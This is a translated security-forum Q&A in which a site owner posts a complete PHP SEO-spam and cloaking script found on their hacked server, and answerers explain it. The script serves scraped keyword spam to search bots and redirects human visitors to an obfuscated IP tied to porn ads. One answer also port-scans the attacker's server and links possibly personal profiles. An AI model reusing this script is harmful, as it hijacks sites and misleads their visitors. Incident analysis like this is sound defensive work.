服务器上的 PHP 恶意软件 - 但无法识别恶意代码

信息安全 恶意软件 php 服务器
2021-08-15 19:46:36

我是这个社区的新手,所以如果我的问题很愚蠢,请原谅我。

我发现我的服务器被黑了,并在上面找到了几个 PHP 文件。

我并没有偷懒并尽力检测文件实际上在做什么,但我真的不明白它的目的是什么。

一个 PHP 文件是:

<?php



$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',

                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',

                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',

                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',

                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',

                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',

                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',

                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',

                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',

                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',

                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',

                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',

                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',

                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',

                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',

                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',

                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',

                               '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;



if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){

    $isbot = 1;

    }



if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) 

{

    $isbot = 1;

}



$adr1 = ".....................................";

$adr2 = ".";

$adr3 = "...................................................................................................................................................................................................................";

$adr4 = "..............................................................................................................................................................................................................";

$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);



if ($isbot)

{



    $myname  = basename($_SERVER['SCRIPT_NAME'], ".php");   

    if (file_exists($myname))

    {

    $html = file($myname);

    $html = implode($html, "");

    echo $html;

    exit;

    }



    //if (!strpos($_SERVER['HTTP_USER_AGENT'], "google")) exit;



    while($tpl == 0)

    {

$tpl_n = rand(1,9);

$tpl = @file("tpl$tpl_n.html");

    }



$keyword = "1 euro terno su tutte vincita
";

$keyword = chop($keyword);

$relink = "<UL></UL>";







 $query_pars = $keyword;

 $query_pars_2 = str_replace(" ", "+", chop($query_pars));



for ($page=1;$page<3;$page++)

{

 $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=$query_pars_2&qsrc=11&adt=1&o=0&l=dir&page=$page"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



        preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



}       





         $mas1 = array("1", "2", "3", "4", "5");

    $mas2 = array("11-20", "21-30", "31-40", "41-50", "51-60");

    $setmktBing = "US";

    $lang = "US";





$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    //  echo $result;

    //  exit;



    sleep(1);



foreach ($mas1 as $var=>$key)

{       

        $link = "";

        preg_match_all ("#<strong>$key</strong><a href=\"(.*)\" title=\"Results $mas2[$var]\"#iU",$result,$mm);

        $link = str_replace('<strong>'.$key.'</strong><a href="', "", $mm[0][0]);

        $link = str_replace('" title="Results '.$mas2[$var].'"', "", $link);

        if (strlen($link)<5) continue;

$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "$link"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    sleep(1);

        }



        $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "https://www.google.com/search?q=$query_pars_2&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



//echo $result;



        preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



                $text = str_replace("...", "", $text);

        $text = strip_tags($text); 

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);



        $text = explode(".", $text);



        shuffle($text);

            $text = array_unique($text);

        $text = implode(". ", $text);



        $html = implode ("\n", $tpl);

        $html = str_replace("[BKEYWORD]", $keyword, $html);

        $html = str_replace("[LINKS]", $relink, $html);

        $html = str_replace("[SNIPPETS]", $text, $html);



        $out = fopen($myname, "w");

        fwrite($out, $html);

        fclose($out);



        echo $html;



}   



if(!@$isbot)

{





$s = dirname($_SERVER['PHP_SELF']);

if ($s == '\\' | $s == '/') {$s = ('');}  

$s = $_SERVER['SERVER_NAME'] . $s;



header("Location: http://$ard/input/?mark=20160624-$s");

//header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

exit;

}



?>

据我了解,代码执行以下操作:

1)检查它是否被机器人执行 - 如果是,则终止

2)解密隐藏IP

3)以非常无用的方式创建搜索词?

4) 向 yahoo、google 和 ask.com 发出三个 curl 搜索请求

5)从那些搜索请求中获取数据,只获取某些信息

6)将这些信息写入文件?

据我所知,这就是程序在做什么,但我不知道有什么危害?为什么有人会费力地找到一个网站来偷偷摸摸呢?还是我错过了这个脚本中的任何关键内容?

感谢你的帮助!

3个回答

(我没有查看代码,我在推测,因为您的描述符合我过去看到的一些恶意软件的模式。)

它可能是一个试图建立一个指向一组已知网络资产的反向链接网络的机器人。

基本上,他们会找到一个易受攻击的站点并将其弹出。脚本从那里进行搜索以查找攻击者的哪些资产当前排名最高(或最低)并且尚未受到 Google/et al 的惩罚。然而。

他们通过将热门关键字和指向这些网站的链接植入从您的域提供的 HTML 文档中来进一步推广他们的资产。现在,当 Google 将您的网站编入索引时,他们会看到您正在认可他们的网站,并且他们在搜索结果中的排名甚至更高。

这很聪明。

不过,这对你来说是有毒的,因为当谷歌惩罚垃圾邮件农场时,他们也会惩罚链接到它们的网站。如果/当审判日到来时,您的 SEO 可能会受到打击。尽快修复此问题。

好吧,我给你一些更详细的信息:

请注意,这不是试图深入您的系统的恶意软件,而是一个让某人(我猜是意大利语)以两种方式(自费)使用您的服务器赚钱的脚本:

  • 如果是一个正在执行请求的机器人(搜索机器人),它将执行一些推广关键字的请求:“1 euro terno su tutte vincita”,它会打印从结果中提取的一系列单词。因此,他们正在从您的服务器 IP推广一些乐透网站。

这是基本网址:

# https://www.google.com/search?q=1 euro terno su tutte vincita&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X
# http://search.yahoo.com/search?p=1 euro terno su tutte vincita
# http://www.ask.com/web?q=1 euro terno su tutte vincita&qsrc=11&adt=1&o=0&l=dir&page=$page
  • 如果不是机器人,如果是一个好的用户代理,脚本会将用户浏览器重定向到另一个受感染的服务器,但这次是色情广告网络

脚本中有一个隐藏的 IP(在点中):

  • IP:37.1.211.206
  • 国家:美国(美国)


$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
// get it from the lenght of the strings, not the best way to hidde something ^^
$ard = strlen($adr1) . "." . strlen($adr2) . "." . strlen($adr3) . "." . strlen($adr4);
// echo $ard;

另一部分只是加入字符串并执行此请求: http://37.1.211.206/input/?mark=20160624-(SERVER_NAME)

if (!@$isbot) {
    $s = dirname($_SERVER['PHP_SELF']);
    if ($s == '\\' | $s == '/') {
        $s = ('');
    }
    $s = $_SERVER['SERVER_NAME'] . $s;
    header("Location: http://$ard/input/?mark=20160624-$s");
    exit;
}

最后,服务器37.1.211.206将保存您的服务器 ID 并将您重定向到随机色情广告服务器。

使用 IP 地址为这个脚本小子伸张正义。

从这里到他的 IP 的跟踪路由(删除了本地跃点):

  3    17 ms    17 ms    17 ms  be4066.ccr22.yyz02.atlas.cogentco.com [38.122.69.117]
  4    23 ms    24 ms    23 ms  be2994.ccr22.cle04.atlas.cogentco.com [154.54.31.233]
  5    31 ms    30 ms    31 ms  be2718.ccr42.ord01.atlas.cogentco.com [154.54.7.129]
  6    32 ms    31 ms    31 ms  be2248.ccr22.ord03.atlas.cogentco.com [154.54.5.158]
  7    32 ms    32 ms    32 ms  be2617.rcr12.b002281-5.ord03.atlas.cogentco.com [154.54.40.94]
  8    31 ms    37 ms    31 ms  38.122.181.114
  9    31 ms    33 ms    31 ms  37.1.209.2
 10    32 ms    32 ms    31 ms  37.1.211.206

最后 3 台主机上的反向 DNS 查找不会直接显示更多信息,除非您检查整个子网:

38.122.181.113  te0-0-0-2.rcr12.b002281-5.ord03.atlas.cogentco.com

该子网似乎是 Cogent Communications ISP 的客户端点。如果我们对攻击者的服务器进行快速端口扫描,我们会看到只有 22/ssh 和 80/http 开放。这强烈建议使用 linux 机器或路由器。服务器上的网页似乎是 apache 的全新安装页面。转到代码中的脚本首先重定向到域 hstraffa.com,然后重定向到第三方色情网站。对 hstraffa.com 社交存在的快速搜索显示只有 2 个 google+ 喜欢。这是一个(警告:最少但存在的图形内容)https://plus.google.com/105307781761317547299和另一个: https: //plus.google.com/115324666314038607739他们似乎是印度人的名字,而这一切背后似乎是一个人。一个不太熟练的脚本小子试图通过色情广告获利。

我会用你自己的调查结果(与事件相关的 php 脚本和服务器日志)来处理所有这些,并联系 Cogent Communications 的安全官。让他们来处理。

但是,您确实需要清理自己的一面,如果您无法弄清楚它们是如何进入的,我建议您安装全新的服务器。下一次入侵可能不是那么良性...